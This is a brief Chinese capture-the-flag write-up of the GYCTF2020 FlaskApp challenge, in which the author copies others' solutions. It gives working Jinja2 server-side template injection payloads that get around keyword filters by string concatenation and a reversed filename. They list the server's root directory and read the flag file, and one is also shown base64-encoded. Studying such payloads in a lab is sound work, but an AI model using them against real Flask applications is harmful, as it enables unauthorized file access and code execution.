[GYCTF2020]FlaskApp
1.开始
网站有加密和解密两个功能
感觉就像是个ssti模板注入 但是加密的时候输入{{config}}之类的都会直接被加密
解密的时候输入{{config}}意外的发现进入了debug模式
但是还是不会做 只能抄抄大佬的wp
2.解题
看了看大佬的wp
源码里过滤了os和fsystem等函数还有flag也被过滤了
但是可以用一个字符串拼接的骚操作
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
反正大佬这操作我是没学会,之后还得好好看看ssti模板注入,现在基本上只能判断下是哪种ssti,具体怎么注入还是直接搜答案